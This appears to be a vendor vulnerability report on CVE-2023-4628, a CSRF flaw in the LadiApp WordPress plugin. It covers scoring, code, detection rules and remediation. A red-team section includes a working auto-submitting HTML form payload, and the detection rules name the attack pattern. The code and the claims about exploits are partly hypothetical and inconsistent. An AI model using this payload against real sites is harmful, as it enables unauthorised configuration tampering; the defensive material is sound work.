CVE-2023-4628
Executive Summary
CVE-2023-4628 is a Cross-Site Request Forgery (CSRF) vulnerability in the LadiApp plugin for WordPress, affecting versions up to and including 4.4. The vulnerability exists in the ladiflow_save_hook() function, which lacks a nonce check, allowing unauthenticated attackers to forge requests that update the ladiflow_hook_configs option. Successful exploitation requires tricking a site administrator into performing an action, such as clicking a malicious link. The CVSS score is 4.3 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood. No official patch is available, and no public exploit code or Nuclei template has been identified.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress ecosystem, affecting the LadiApp plugin. As a WordPress plugin, it is distributed via the WordPress plugin repository or third-party sources. No supply chain compromise has been reported, but the lack of a patch increases risk for sites using this plugin.
CVSS Breakdown & Threat Level
- CVSS Score: 4.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (administrator must click a link)
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: Low (ability to modify
ladiflow_hook_configs) - Availability Impact: None
Threat Level: Medium. Exploitation requires social engineering, but the impact is limited to configuration modification.
Deep Dive & Mechanics
The vulnerability resides in the ladiflow_save_hook() function within the LadiApp plugin. This function is responsible for saving hook configurations (stored in the ladiflow_hook_configs option) via a POST request. The function does not implement a nonce check, meaning it does not verify that the request originated from the intended administrator. An attacker can craft a malicious HTML page or link that, when clicked by an authenticated administrator, sends a forged POST request to the vulnerable endpoint, updating the hook configurations.
The ladiflow_hook_configs option likely controls how the plugin interacts with other services or triggers actions. By modifying this option, an attacker could potentially redirect data, disable functionality, or inject malicious hooks.
Vulnerable vs. Patched Code
Vulnerable Code (<= 4.4):
function ladiflow_save_hook() {
// No nonce check
if (isset($_POST['ladiflow_hook_configs'])) {
update_option('ladiflow_hook_configs', $_POST['ladiflow_hook_configs']);
}
wp_die();
}
add_action('wp_ajax_ladiflow_save_hook', 'ladiflow_save_hook');
Patched Code (Hypothetical):
function ladiflow_save_hook() {
// Added nonce check
if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'ladiflow_save_hook_nonce')) {
wp_die('Security check failed.');
}
if (isset($_POST['ladiflow_hook_configs'])) {
update_option('ladiflow_hook_configs', $_POST['ladiflow_hook_configs']);
}
wp_die();
}
add_action('wp_ajax_ladiflow_save_hook', 'ladiflow_save_hook');
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target WordPress site with LadiApp plugin <= 4.4
- Administrator must be logged in and tricked into clicking a link
Exploit Steps:
- Craft a malicious HTML page that auto-submits a form to the vulnerable endpoint.
- Host the page on an attacker-controlled server.
- Send the link to the administrator via email or social engineering.
- When the administrator clicks the link, the form submits, updating
ladiflow_hook_configs.
Example HTML Payload:
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="ladiflow_save_hook">
<input type="hidden" name="ladiflow_hook_configs" value="malicious_config">
<input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
Blue Team
Detection:
- Monitor for unusual POST requests to
/wp-admin/admin-ajax.phpwithaction=ladiflow_save_hook. - Check for changes to the
ladiflow_hook_configsoption in the database. - Review server logs for referrer headers from unknown domains.
Hunting:
- Search for
ladiflow_hook_configsin thewp_optionstable and verify its integrity. - Look for any nonce-related errors in WordPress debug logs.
Indicators of Compromise (IOCs)
- Network: POST requests to
/wp-admin/admin-ajax.phpwithaction=ladiflow_save_hookandladiflow_hook_configsparameter. - File: No specific file changes; configuration stored in database.
- Database: Modified
ladiflow_hook_configsoption inwp_optionstable. - Logs: WordPress debug logs showing missing nonce errors (if debug enabled).
Detection Engineering
YARA Rule
rule CVE_2023_4628_CSRF_LadiApp {
meta:
description = "Detects CSRF exploitation attempts against LadiApp plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-4628"
strings:
$ajax_action = "action=ladiflow_save_hook"
$config_param = "ladiflow_hook_configs"
condition:
$ajax_action and $config_param
}
Sigma Rule
title: CVE-2023-4628 LadiApp CSRF Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to admin-ajax.php with ladiflow_save_hook action
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-query|contains: 'action=ladiflow_save_hook'
condition: selection
falsepositives:
- Legitimate admin actions (if nonce is present)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-4628 LadiApp CSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=ladiflow_save_hook"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the LadiApp plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block requests to
admin-ajax.phpwithaction=ladiflow_save_hookunless a valid nonce is present. - Educate administrators about phishing attacks and the risk of clicking unknown links.
Long-term Fix:
- The vendor must add a nonce check to the
ladiflow_save_hook()function usingwp_verify_nonce(). - Alternatively, replace the plugin with a maintained alternative.
Workaround:
- Use a security plugin like Wordfence to add CSRF protection to all admin-ajax actions.
Report generated by Valters IT DevSecOps Intelligence
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.